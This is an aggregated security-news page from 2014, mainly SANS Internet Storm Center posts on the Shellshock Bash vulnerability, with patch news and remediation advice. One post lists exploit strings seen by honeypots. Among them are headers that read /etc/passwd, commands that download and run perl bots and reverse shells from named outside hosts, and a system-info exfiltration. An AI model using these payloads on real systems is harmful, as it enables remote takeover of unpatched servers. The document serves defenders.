(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
The patched Bash shell on a system running OS X 10.9.5.
Andrew Cunningham

Apple has just released the OS X Bash Update 1.0 for OS X Mavericks, Mountain Lion, and Lion, a patch that fixes the "Shellshock" bug in the Bash shell that we first reported on last week. Bash, which is the default shell for many Unix and Linux-based operating systems, has been updated two times to fix the Shellshock remote exploit bug, and many Linux distributions have already issued updates to their users.

When installed on an OS X Mavericks system, the patch upgraded the Bash shell from version 3.2.51 to version 3.2.53, something that users could already do manually if they were so inclined. The update requires the OS X 10.9.5, 10.8.5, or 10.7.5 updates to be installed on your system first. An Apple representative told Ars that the company would not be releasing an individual patch for users running the current OS X Yosemite developer or public beta builds, but the rep went on to say the bug will be fixed in future builds of the software. The company previously stated that Macs "are safe by default and not exposed to remote exploits of bash unless users configure advanced UNIX services." Non-jailbroken iOS devices shouldn't be vulnerable to the exploit at all.

Shellshock, in essence, allows attackers to issue commands to systems via malformed environment variables. In the case of Web servers, it can allow attackers to gain full control of the system. Exploits of the bug have already been spotted in the wild, and end users and server administrators are all encouraged to patch their systems as soon as possible.

Read 1 remaining paragraphs | Comments

Exuberant Ctags 'jscript.c' Remote Denial of Service Vulnerability

Johannes B. Ullrich, Ph.D.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

I just published an updated YouTube presentation (about 15 min in length) with some of the shell shock related news from the last couple days:

YouTube: https://www.youtube.com/watch?v=b2HKgkH4LrQ
​PDF: https://isc.sans.edu/presentations/ShellShockV2.pdf
PPT: https://isc.sans.edu/presentations/ShellShockV2.pptx


lways, the material is published "create commons / share alike", so feel free to use the slides.


Johannes B. Ullrich, Ph.D.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Embarcadero ER/Studio Data Architect ActiveX Remote Code Execution Vulnerability

Ever since the shellshock vulnerability has been announced, we have seen a large number of scans probing it. Here is a quick review of exploits that our honeypots and live servers have seen so far:

1 - Simple "vulnerability checks" that used custom User-Agents:

() { 0v3r1d3;};echo \x22Content-type: text/plain\x22; echo; uname -a;
() { :;}; echo 'Shellshock: Vulnerable'
() { :;};echo content-type:text/plain;echo;echo [random string];echo;exit
() { :;}; /bin/bash -c "echo testing[number]"; /bin/uname -a\x0a\x0a
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 \x22() { test;};echo \x5C\x22Co\
ntent-type: text/plain\x5C\x22; echo; echo; /bin/cat /etc/passwd\x22 http://[IP address]/cgi-bin/test.cgi

This one is a bit different. It includes the tested URL as user agent. But of course, it doesn't escape special characters correctly, so this exploit would fail in this case. The page at appears to only return an "empty page" message.

) { :;}; /bin/bash -c \x22wget -U BashNslash.http://isc.sans.edu/diary/Update+on+CVE-2014-6271:+Vulnerability+in+bash+(shellshock)/18707\x22


2 - Bots using the shellshock vulnerability:

This one installs a simple perl bot. Connects to irc.hacker-newbie.org port 6667 channel #bug

() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b\
0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0\
b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http\
://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/sh\
ock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.\
com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http:\
//xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;

3 - Vulnerability checks using multiple headers:

GET / HTTP/1.0
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv: Gecko/2008092414 Firefox/3.0.3
Accept: */*
Cookie: () { :; }; ping -c 3 [ipaddress]
Host: () { :; }; ping -c 3 [ipaddress]
Referer: () { :; }; ping -c 3 [ipaddress]

4 - Using Multiple headers to install perl reverse shell (shell connects to port 1992 in this case)

GET / HTTP/1.1
Host: [ip address]
Cookie:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl
Referer:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl

5 - Using User-Agent to report system parameters back (the IP address is currently not responding)

GET / HTTP/1.0
Accept: */*\
aUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3
Host: () { :; }; wget -qO- -U="$(uname -a)"
Cookie: () { :; }; wget -qO- -U="$(uname -a)" 

6 - User-Agent used to install perl box

GET / HTTP/1.0
Host: [ip address]
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*



Johannes B. Ullrich, Ph.D.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

In a bid to secure even more of the Internet’s websites through the use of secure connections, San Francisco-based content delivery network and Internet security provider CloudFlare has launched a new free service for both its paying and free customers: automatic Secure Socket Layer (SSL) encryption for any site, without the need to pay for or configure an encryption certificate.

Called Universal SSL, the service eliminates the need for organizations to deal with a Certificate Authority or configure their own server’s crypto. Instead, if a website is connected through CloudFlare, its owner can set up a certificate through a Web interface in 5 minutes, and it will be automatically deployed within 24 hours—providing the site’s traffic with Transaction Layer Security (TLS) encryption based on an elliptic curve digital signature algorithm (ECDSA).

In a release, CloudFlare security engineering lead Nick Sullivan said, “The cryptographic systems we’re rolling out as part of Universal SSL are a generation ahead of what is used by even the top Internet giants. These certificates use elliptic curve digital signature algorithm (ECDSA) keys, ensuring all connections with CloudFlare sites have Perfect Forward Secrecy, and they are signed with ECDSA and the highly secure SHA-256 hash function. This is a level of cryptographic security most web administrators literally couldn’t buy.”

Read 4 remaining paragraphs | Comments

ZeroMQ Multiple Security Bypass Vulnerabilities
TYPO3 JobControl SQL Injection and Cross Site Scripting Vulnerabilities
Moab Authentication Bypass (insecure message signing) [CVE-2014-5376]
Moab User Impersonation [CVE-2014-5375]
LinuxSecurity.com: New seamonkey packages are available for Slackware 14.0, 14.1, and -current to fix security issues. [More Info...]
LinuxSecurity.com: New mozilla-firefox packages are available for Slackware 14.1 and -current to fix security issues. [More Info...]
LinuxSecurity.com: New mozilla-thunderbird packages are available for Slackware 14.1 and -current to fix security issues. [More Info...]
LinuxSecurity.com: Security Report Summary
LinuxSecurity.com: Security Report Summary
LinuxSecurity.com: Several security issues were fixed in Bash.
LinuxSecurity.com: Security Report Summary
LinuxSecurity.com: Updated bash packages that fix one security issue are now available for Red Hat Enterprise Linux 4 Extended Life Cycle Support, Red Hat Enterprise Linux 5.6 Long Life, Red Hat Enterprise Linux 5.9 Extended Update Support, Red Hat Enterprise Linux 6.2 Advanced Update Support, and Red Hat [More...]
Mediawiki SVG File Handling Security Bypass Vulnerability
Moab Authentication Bypass [CVE-2014-5300]
[slackware-security] mozilla-firefox (SSA:2014-271-01)
[SECURITY] [DSA 3039-1] chromium-browser security update
[The ManageOwnage Series, part V]: RCE / file upload / arbitrary file deletion in OpManager, Social IT and IT360

With everybody's eyes on bash vulnerabilities, two new problems have been found [1]. These problems have been assigned CVE-2014-6277 and CVE-2014-6278. These issues are unrelated to the environment variable code injection of shellshock, but could also lead to code execution.

I hope you are keeping good notes as to what systems use bash and how as you are patching. Looks like bash will keep us busy for a bit.

[1] http://www.openwall.com/lists/oss-security/2014/09/25/32

Johannes B. Ullrich, Ph.D.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

By now, I hope you are well on your way to patch your Linux systems for the bash code injection vulnerabilities. At this point, you should probably dig a bit deeper and try to find more "hidden" places that may be vulnerable. First of all, a quick list of things that are not vulnerable:

  • iOS, Android and many similar systems that use ash instead of bash.
  • Many systems are vulnerable, but the vulnerability is not exposed by default. In this case, patching is less urgent but should still be done as soon as patches are available. For example in OS X, there is no web server installed by default, and the DHCP client does not call shell scripts the way Linux does. Solaris uses ksh by default.
  • Many small embedded systems use busybox, not bash, and are not vulnerable.

Now which are the systems you may have missed in your first quick survey? First of all, vulnerability scanners will only find the low hanging fruit for this one, in particular earlier on. There are many larger web applications that have a couple of small cgi-bin scripts that are easily missed.

  • In Apache, look for the ExecCGI anywhere in your Apache configuration (not just httpd.conf, check files that are included by httpd.conf like virtual host configurations). If possible, remove ExecCGI if it was just setup by a default install.
  • Check if /bin/sh is a symlink to /bin/bash, or worse, a copy of /bin/bash. Just to make sure, try the exploit against other shells on the system (I have seen admins rename bash for convenience...)
  • While Android is not vulnerable by default, it is possible to install bash on Android
  • Even Windows can be made vulnerable, if you install tools like cygwin and expose them via a web server
  • "larger" embedded devices, unlike the small devices based on busybox, do sometimes include bash. Depending on how much access you have to the device, this can be hard to figure out
  • cgi web applications that are written in languages other then bash, but call bash (e.g. via exec(), popen() or similar commands.

And some good news: The signature "() {" for the exploit is actually better then I thought originally. Turns out that added spaces or other modifications to this string will break the exploit. 

So in short, your priority list should look like:

  • If today, you find exposed bash scripts in a publicly reachable server in cgi-bin: Assume the server is compromised.
  • Focus on web servers. Patch all web servers as soon as possible even if you currently don't use cgi-bin. It is too easy to miss a script.
  • Any vulnerable system that uses restricted ssh shells
  • Any vulnerable system that is used outside your perimeter (to avoid DHCP attacks)

Moving forward: The idea of writing web applications in bash (or other shell scripting langagues) is pretty dangerous in the first place. It should be done with care, and if possible, try to use a different languages (perl, php, python) as they provide better input validation libraries. SELinux was mentioned as a counter measure, but in this case, it may not work quite as well as hoped. Regardless, learn how to use it and don't just turn it off the first time it gets in the way. Systems like web application firewall and IPSs are very useful in a case like this for virtual patching. Make sure you have these systems in place, even if for the most part, you use them just to alert and log and less to block.

Fellow handler Rob put together this list of "likely to be missed" machines:

  • web content control servers
  • e-mail gateways
  • proxy servers
  • web application firewalls (WAFs)
  • IPS sensors and servers
  • Wireless Controllers
  • VOIP Servers
  • Firewalls
  • Enterprise class routers or switches (yes, really)
  • Any Virtual Machine that you got as an OVA or OVF from a vendor

Johannes B. Ullrich, Ph.D.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
[SECURITY] [DSA 3037-1] icedove security update
Ruby on Rails 'create_with()' Function Security Bypass Vulnerability

Posted by InfoSec News on Sep 29


The New York Times
SEPT. 25, 2014

Long before the commercial success of the Internet, Brian J. Fox invented
one of its most widely used tools.

In 1987, Mr. Fox, then a young programmer, wrote Bash, short for
Bourne-Again Shell, a free piece of software that is now built into more
than 70 percent of the...

Posted by InfoSec News on Sep 29


By Ben Bradley
September 28, 2014

AURORA, Ill. (WLS) -- The ABC7 Eyewitness News I-Team has learned that red
flags were raised years ago about how sabotage or terrorism could lead to
the air travel mess triggered by one man.

There is word Sunday night that it will be more than two weeks before the
FAA facility in Aurora is operating...

Posted by InfoSec News on Sep 29


By Justin Jouvenal
The Washington Post
September 27, 2014

The agents from the Department of Homeland Security and the Secret Service
showed up on Muneeb Akhter’s Springfield doorstep in mid-July, he said,
soon after they learned that he claimed to have created a hack so...

Posted by InfoSec News on Sep 29


By William Knowles @c4i
Senior Editor
InfoSec News
September 29, 2014

For an agency that for the longest time used to be known as No Such
Agency, now thanks to Edward Snowden its on center stage for everyone
including malware writers.

The NSA Public Affairs Office is alerting the public of a scam that uses
the NSA/CSS seals and banner. Victims of this malware scam report that a...

Posted by InfoSec News on Sep 29


By Nathan Eddy

DDoS traffic volume was up overall with a third peaking at over 500M bps and
more than five percent reaching up to 4G bps, according to NSFOCUS.

A continuing trend of distributed denial-of-service (DDoS) attacks that are
short in duration and repeated frequently has been revealed by the NSFOCUS 2014
Internet Storm Center Infocon Status